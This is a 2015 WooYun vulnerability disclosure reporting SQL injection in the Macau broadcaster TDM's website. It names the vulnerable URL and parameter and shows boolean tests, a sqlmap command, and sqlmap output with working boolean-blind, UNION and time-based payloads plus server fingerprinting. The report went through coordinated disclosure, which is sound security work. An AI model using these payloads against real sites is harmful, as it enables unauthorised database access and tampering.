当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-096507

漏洞标题:澳门广播电视台网站sql注入一枚

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-02-12 09:45

修复时间:2015-03-29 09:46

公开时间:2015-03-29 09:46

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-12: 细节已通知厂商并且等待厂商处理中
2015-02-17: 厂商已经确认,细节仅向厂商公开
2015-02-27: 细节向核心白帽子及相关领域专家公开
2015-03-09: 细节向普通白帽子公开
2015-03-19: 细节向实习白帽子公开
2015-03-29: 细节向公众公开

简要描述:

http://www.tdm.com.mo
澳门广播电视台官网发现注入漏洞,具有数据库管理员权限,可通过工具查看、删除、修改网站信息,属于高风险漏洞。

详细说明:

漏洞网站:http://www.tdm.com.mo
SQL注入链接:http://www.tdm.com.mo/c_video/play_audio.php?id=5043
漏洞测试结果:http://www.tdm.com.mo/c_video/play_audio.php?id=5043 and 1=1 正常

1.png


http://www.tdm.com.mo/c_video/play_audio.php?id=5043 and 1=2 不正常

2.png


漏洞证明:

通过sqlmap进行注入测试

sqlmap -u "http://www.tdm.com.mo/c_video/play_audio.php?id=5043"


输出结果

_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20141203}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:54:37
[16:54:37] [INFO] resuming back-end DBMS 'mysql'
[16:54:37] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=5043 AND 8644=8644
Type: UNION query
Title: MySQL UNION query (NULL) - 11 columns
Payload: id=-4829 UNION ALL SELECT NULL,NULL,CONCAT(0x7162706a71,0x447956784
d734f7a5356,0x716b767871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=5043 AND SLEEP(5)
---
[16:54:38] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6.5
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.11
[16:54:38] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.tdm.com.mo'
[*] shutting down at 16:54:38


3.png


4.png


5.png


数据库就不跑了,请澳门广电抓紧整改安全隐患,毕竟是广播体系的门户,传了不该传的东西就
该出问题了。

修复方案:

最快的解决办法是 增加硬件防注入防火墙
彻底解决需要对代码进行过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-02-17 08:08

厂商回复:

最新状态:

暂无